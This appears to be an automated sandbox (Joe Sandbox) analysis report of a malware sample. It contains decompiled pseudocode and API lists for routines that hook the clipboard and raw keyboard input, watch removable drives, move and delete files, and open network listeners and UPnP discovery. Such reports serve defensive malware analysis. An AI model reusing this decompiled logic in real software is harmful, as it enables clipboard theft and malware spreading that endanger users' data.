0x004071db
0x004071ec
0x004071ef
0x004071f2
0x004071f5
0x004071f8
0x004071fb
0x00407214
0x00407217
0x0040721a
0x0040721d
0x00407220
0x00407223
0x00407248
0x0040724b
0x00407256
0x00407261
0x00407264
0x0040726f
0x0040727a
0x0040727d
0x00407280
0x00407284
0x0040728b
0x00407291
0x00407294
0x00407297
0x004072ae
0x004072b1
0x004072b4
0x004072b7
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f3
0x004072f6
0x004072f9
0x004072fc
0x004072ff
0x00407324
0x00407327
0x00407332
0x0040733d
0x00407340
0x0040734b
0x00407356
0x00407359
0x0040735c
0x00407360
0x00407367
0x0040736d
0x00407370
0x00407373
0x0040738a
0x0040738d
0x00407390
0x00407393
0x004073a4
0x004073a7
0x004073aa
0x004073ad
0x004073b0
0x004073b3
0x004073cc
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073fa
0x004073fd
0x00407408
0x00407413
0x00407416
0x00407421
0x0040742c
0x0040742f
0x00407432
0x00407436
0x00407442
0x00407453
0x00407468
0x00407472
0x00407475
0x0040747e
0x00000000
0x0040747e
0x00407486
0x0040748b
0x00000000
0x0040748b

APIs

_aullshr.NTDLL ref: 0040670D
_allshl.NTDLL ref: 00406726
_aullshr.NTDLL ref: 004067F4
_allshl.NTDLL ref: 0040680D
_aullshr.NTDLL ref: 004068D6
_allshl.NTDLL ref: 004068EF
_aullshr.NTDLL ref: 004069B8
_allshl.NTDLL ref: 004069D1
_aullshr.NTDLL ref: 00406A9A
_allshl.NTDLL ref: 00406AB3
_aullshr.NTDLL ref: 00406B76
_allshl.NTDLL ref: 00406B8F
_aullshr.NTDLL ref: 00406C52
_allshl.NTDLL ref: 00406C6B
_aullshr.NTDLL ref: 00406D2E
_allshl.NTDLL ref: 00406D47
_aullshr.NTDLL ref: 00406E0A
_allshl.NTDLL ref: 00406E23
_aullshr.NTDLL ref: 00406EE6
_allshl.NTDLL ref: 00406EFF
_aullshr.NTDLL ref: 00406FC2
_allshl.NTDLL ref: 00406FDB
_aullshr.NTDLL ref: 0040709E
_allshl.NTDLL ref: 004070B7
_aullshr.NTDLL ref: 0040717A
_allshl.NTDLL ref: 00407193
_aullshr.NTDLL ref: 00407256
_allshl.NTDLL ref: 0040726F
_aullshr.NTDLL ref: 00407332
_allshl.NTDLL ref: 0040734B
_aullshr.NTDLL ref: 00407408
_allshl.NTDLL ref: 00407421
_allshl.NTDLL ref: 00407442
_aullshr.NTDLL ref: 00407453

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: f79167b87464b51aed7931ecb4457fc5cd18322fd9671e80785650c02d4eccdb
Instruction ID: 90cb864cc2477ce68059d36ebfae5716939ce24ee9ac182e6e4708cb2ec1aab6
Opcode Fuzzy Hash: f79167b87464b51aed7931ecb4457fc5cd18322fd9671e80785650c02d4eccdb
Instruction Fuzzy Hash: 89D22B79D11619EFCB54CF99C18099EFBF1FF88320F66859AD845AB305C630AA91DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404E80(WCHAR* _a4, char _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				_t1 =  &_a8; // 0x40544b
				CreateDirectoryW( *_t1, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						_t14 =  &_a8; // 0x40544b
						wsprintfW( &_v2164, L"%s\\%s",  *_t14,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404E80( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}

0x00404e8b
0x00404e8f
0x00404ea5
0x00404eab
0x00404ebc
0x00404ec2
0x00404ecf
0x00404fb2
0x00000000
0x00000000
0x00000000
0x00404ed5
0x00404ed5
0x00404ee9
0x00404f1a
0x00404f2a
0x00404f3a
0x00404f40
0x00404f4c
0x00404f76
0x00404f4e
0x00404f5c
0x00404f61
0x00404f61
0x00404f4c
0x00404f90
0x00404f9f
0x00000000

APIs

CreateDirectoryW.KERNEL32(KT@,00000000), ref: 00404E8F
wsprintfW.USER32 ref: 00404EA5
FindFirstFileW.KERNEL32(?,?), ref: 00404EBC
lstrcmpW.KERNEL32(?,0041160C), ref: 00404EE1
lstrcmpW.KERNEL32(?,00411610), ref: 00404EF7
wsprintfW.USER32 ref: 00404F1A
wsprintfW.USER32 ref: 00404F3A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00404F76
FindNextFileW.KERNEL32(000000FF,?), ref: 00404F8A
FindClose.KERNEL32(000000FF), ref: 00404F9F
RemoveDirectoryW.KERNEL32(?), ref: 00404FA9

Strings

%s\*, xrefs: 00404E99
KT@, xrefs: 00404E8B, 00404F2A, 00404E8E, 00404F2D
%s\%s, xrefs: 00404F0E
%s\%s, xrefs: 00404F2E

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$KT@
API String ID: 92872011-1718218466
Opcode ID: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction ID: f84c23499f796ae609c643b61d0d113fdbb715ac4c7aa211f5e11142a609d372
Opcode Fuzzy Hash: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction Fuzzy Hash: 553145B5500218ABCB10DFA0DC88FDA7778BB88301F0085A9F709A6195DB79DAC4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 004041A0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E004041A0(struct HWND__* _a4, int _a8, int _a12, struct HWND__* _a16) {
				struct HWND__* _v8;
				int _v12;
				struct HWND__* _v16;
				void* _v20;
				void* _v24;
				short _v26;
				short _v30;
				int _v32;
				short _v34;
				char _v36;
				int _v40;
				int _v44;
				struct HWND__* _t90;
				struct HWND__* _t97;
				struct HWND__* _t98;
				void* _t129;

				_v8 = GetWindowLongW(_a4, 0xffffffeb);
				_v40 = _a8;
				if(_v40 > 0x308) {
					if(_v40 == 0x30d) {
						if(_a12 != _v8) {
							if(_v8 != 0) {
								SendMessageA(_v8, _a8, _a12, _a16);
							}
						} else {
							_v8 = _a16;
							SetWindowLongW(_a4, 0xffffffeb, _v8);
						}
						goto L38;
					} else {
						L38:
						return DefWindowProcA(_a4, _a8, _a12, _a16);
					}
				}
				if(_v40 == 0x308) {
					_v12 = 0;
					if(IsClipboardFormatAvailable(0xd) == 0) {
						if(IsClipboardFormatAvailable(1) == 0) {
							if(IsClipboardFormatAvailable(7) != 0) {
								_v12 = 7;
							}
						} else {
							_v12 = 1;
						}
					} else {
						_v12 = 0xd;
					}
					if(_v12 == 0 || OpenClipboard(0) == 0) {
						L34:
						if(_v8 != 0) {
							SendMessageA(_v8, _a8, _a12, _a16);
						}
					} else {
						_v24 = GetClipboardData(_v12);
						if(_v24 != 0) {
							_v20 = GlobalLock(_v24);
							if(_v20 != 0) {
								_v16 = 0;
								_v44 = _v12;
								if(_v44 == 1) {
									_t90 = E00403FB0(_v20, 0, 0);
									_t129 = _t129 + 0xc;
									_v16 = _t90;
								} else {
									if(_v44 == 7) {
										_t97 = E004040D0(_v20, 0, 0);
										_t129 = _t129 + 0xc;
										_v16 = _t97;
									} else {
										if(_v44 == 0xd) {
											_t98 = E00403EF0(_v20, _v20, 0);
											_t129 = _t129 + 8;
											_v16 = _t98;
										}
									}
								}
								GlobalUnlock(_v24);
								CloseClipboard();
								if(_v16 != 0) {
									E00403480(_v16);
									E00408C70(_v16);
								}
								goto L34;
							}
							goto L38;
						}
					}
					goto L38;
				}
				if(_v40 == 1) {
					_v8 = SetClipboardViewer(_a4);
					SetWindowLongW(_a4, 0xffffffeb, _v8);
				} else {
					if(_v40 == 2) {
						_v36 = 0;
						_v34 = 0;
						_v30 = 0;
						_v26 = 0;
						_v36 = 1;
						_v34 = 6;
						_v32 = 1;
						__imp__RegisterRawInputDevices( &_v36, 1, 0xc);
						ChangeClipboardChain(_a4, _v8);
					}
				}
				goto L38;
			}

0x004041b2
0x004041b8
0x004041c2
0x004041ed
0x0040421c
0x0040423a
0x0040424c
0x0040424c
0x0040421e
0x00404221
0x0040422e
0x0040422e
0x00000000
0x004041ef
0x004043d4
0x004043ed
0x004043ed
0x004041ed
0x004041cb
0x00404257
0x00404268
0x0040427d
0x00404292
0x00404294
0x00404294
0x0040427f
0x0040427f
0x0040427f
0x0040426a
0x0040426a
0x0040426a
0x0040429f
0x0040436f
0x00404373
0x00404385
0x00404385
0x004042b5
0x004042bf
0x004042c6
0x004042d7
0x004042de
0x004042e5
0x004042ef
0x004042f6
0x00404321
0x00404326
0x00404329
0x004042f8
0x004042fc
0x00404336
0x0040433b
0x0040433e
0x004042fe
0x00404302
0x0040430c
0x00404311
0x00404314
0x00404314
0x00404302
0x004042fc
0x00404345
0x0040434b
0x00404355
0x0040435b
0x00404367
0x0040436c
0x00000000
0x00404355
0x00000000
0x004042e0
0x004042c8
0x00000000
0x0040429f
0x004041d5
0x004041fe
0x0040420b
0x004041d7
0x004041db
0x0040438f
0x00404395
0x00404398
0x0040439b
0x004043a4
0x004043ad
0x004043b1
0x004043c0
0x004043ce
0x004043ce
0x004041db
0x00000000

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041AC
SetClipboardViewer.USER32 ref: 004041F8
SetWindowLongW.USER32 ref: 0040420B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00404260
OpenClipboard.USER32(00000000), ref: 004042A7
GetClipboardData.USER32 ref: 004042B9
RegisterRawInputDevices.USER32 ref: 004043C0
ChangeClipboardChain.USER32 ref: 004043CE
DefWindowProcA.USER32(?,?,?,?), ref: 004043E4

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction ID: 12af2944b2afbdd2840b1e0cc58b104c1e1997fab1ca1becb874473cf393234d
Opcode Fuzzy Hash: d6eb097551fe403484d6df1eea500d8dda5268cf33ca3084c7f7c11ec5fa5c98
Instruction Fuzzy Hash: 927111B4A00208EFDF14DF94D948BEE77B4AF88305F14856AFA05B72D0D7799A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E004054A0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8);
				GetModuleFileNameW(0, 0x4163c0, 0x104);
				_t34 = E0040D180(0x4163c0);
				_t69 = _t68 + 4;
				 *0x4163b8 = _t34;
				while(1 != 0) {
					_v8 = E00404CB0();
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404C50(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040EE10();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404FC0( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0);
				}
				ExitThread(0);
			}

0x004054ae
0x004054c0
0x004054cb
0x004054d0
0x004054d3
0x004054d8
0x004054ea
0x004054ed
0x004054ff
0x00405515
0x0040551a
0x0040551d
0x00405523
0x00405530
0x0040555f
0x00405574
0x0040557a
0x0040557c
0x00405581
0x00405587
0x00405588
0x0040558e
0x0040558f
0x00405594
0x004055a2
0x004055a8
0x004055b4
0x004055c2
0x004055c8
0x004055c8
0x004055e5
0x0040560b
0x00405610
0x00405610
0x004054fc
0x004054fc
0x0040561d
0x0040561d
0x0040562a

APIs

Sleep.KERNEL32(000003E8), ref: 004054AE
GetModuleFileNameW.KERNEL32(00000000,004163C0,00000104), ref: 004054C0

Part of subcall function 0040D180: CreateFileW.KERNEL32(004054D0,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040D1A0
Part of subcall function 0040D180: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
Part of subcall function 0040D180: CloseHandle.KERNEL32(000000FF), ref: 0040D1C2

ExitThread.KERNEL32 ref: 0040562A

Part of subcall function 00404CB0: GetLogicalDrives.KERNEL32 ref: 00404CB6
Part of subcall function 00404CB0: RegOpenKeyExW.ADVAPI32 ref: 00404D04
Part of subcall function 00404CB0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
Part of subcall function 00404CB0: RegCloseKey.ADVAPI32(?), ref: 00404D4E

Sleep.KERNEL32(000007D0), ref: 0040561D

Part of subcall function 00404C50: lstrcpyW.KERNEL32(?,?), ref: 00404CA3

GetVolumeInformationW.KERNEL32 ref: 0040555F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00405574
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040558F
wsprintfW.USER32 ref: 004055A2
wsprintfW.USER32 ref: 004055C2
wsprintfW.USER32 ref: 004055E5

Strings

%s%s, xrefs: 004055D9
(%dGB), xrefs: 00405596
Unnamed volume, xrefs: 004055B6

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction ID: 9bd4fa2fb620ac2810ea8b244f600aa7f59dc27fdf478d4548bf3fce0c8904cf
Opcode Fuzzy Hash: 325e993603c8bda3392c0f0bd153b9b3ac43164d3fc352dd12edcd88a3ba2bb9
Instruction Fuzzy Hash: 0D418371900208BBE714DB94DC45FEE7778AB48700F1085AAF209B61D0DA799B84CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB00 Relevance: 16.6, APIs: 11, Instructions: 129
networkCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0040EB00(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E00408B00(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350;
					GetSystemInfo( &_v36);
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040E0E0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040BAF0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1);
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1);
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040EA30, _t54, 0, 0);
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E400, _t54, 0, 0);
					return _t54;
				}
			}

0x0040eb06
0x0040eb0b
0x0040eb0d
0x0040eb12
0x0040ec8a
0x0040eb18
0x0040eb1d
0x0040eb23
0x0040eb29
0x0040eb2d
0x0040eb34
0x0040eb37
0x0040eb45
0x0040eb4b
0x0040eb50
0x0040ec7f
0x0040ec7f
0x00000000
0x0040ec84
0x0040eb5e
0x0040eb64
0x0040eb69
0x00000000
0x00000000
0x0040eb6f
0x0040eb74
0x0040eb79
0x00000000
0x00000000
0x0040eb8b
0x0040eb91
0x0040eb97
0x00000000
0x00000000
0x0040ebac
0x0040ebb1
0x0040ebbd
0x0040ebc1
0x0040ebc5
0x0040ebc9
0x0040ebce
0x0040ebd8
0x0040ebdd
0x0040ebe1
0x0040ebed
0x0040ebf2
0x0040ebf7
0x0040ec00
0x00000000
0x00000000
0x0040ec0f
0x0040ec18
0x00000000
0x00000000
0x0040ec1a
0x0040ec20
0x0040ec25
0x00000000
0x00000000
0x0040ec2e
0x0040ec37
0x00000000
0x00000000
0x0040ec3a
0x0040ec3f
0x0040ec41
0x0040ec51
0x0040ec56
0x0040ec57
0x0040ec5a
0x0040ec41
0x0040ec6f
0x0040ec7e
0x0040ec7e

APIs

GetSystemInfo.KERNEL32(?), ref: 0040EB23
InitializeCriticalSection.KERNEL32(00000020), ref: 0040EB37
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EB45
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EB5E

Part of subcall function 0040BAF0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040BB0E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EB8B
setsockopt.WS2_32 ref: 0040EBB1
htons.WS2_32(?), ref: 0040EBE1
bind.WS2_32(?,00000004,00000010), ref: 0040EBF7
listen.WS2_32(?,7FFFFFFF), ref: 0040EC0F
WSACreateEvent.WS2_32 ref: 0040EC1A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EC2E

Part of subcall function 0040BBA0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4
Part of subcall function 0040BBA0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
Part of subcall function 0040BBA0: DuplicateHandle.KERNEL32 ref: 0040BC6E
Part of subcall function 0040BBA0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction ID: 55e3d3791406c7558891e3ce563330e9b7b343d865a5bfb51454dd4e2dcce5d3
Opcode Fuzzy Hash: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction Fuzzy Hash: 65419270644302BBE3209F758C4AF46B7A5BF44710F108A2AF568E62D0E7B5E454CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C580 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
htons.WS2_32(0000076C), ref: 0040C5D0
inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD

Part of subcall function 00409540: htons.WS2_32(00000050), ref: 0040956D
Part of subcall function 00409540: socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
Part of subcall function 00409540: connect.WS2_32(000000FF,?,00000010), ref: 004095A6
Part of subcall function 00409540: getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

bind.WS2_32(000000FF,?,00000010), ref: 0040C633
lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040C490: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Part of subcall function 0040C490: Sleep.KERNEL32(000003E8), ref: 0040C4EE
Part of subcall function 0040C490: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
Part of subcall function 0040C490: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
Part of subcall function 0040C490: StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

239.255.255.250, xrefs: 0040C5DA

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction ID: 76d768ee63a1ab765bf53bd3b80837b0909e15b9bb20e5c949896882321ca4fe
Opcode Fuzzy Hash: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction Fuzzy Hash: 3C4106B4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290E7B55A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8A0 Relevance: 9.1, APIs: 6, Instructions: 77
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040D8A0(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E00408B00(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30);
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DD00(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1);
					__imp__#2( *(_t31 + 8),  &_v52, 0x10);
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						 *((intOrPtr*)(_t31 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t31, 0, 0);
						goto L8;
					}
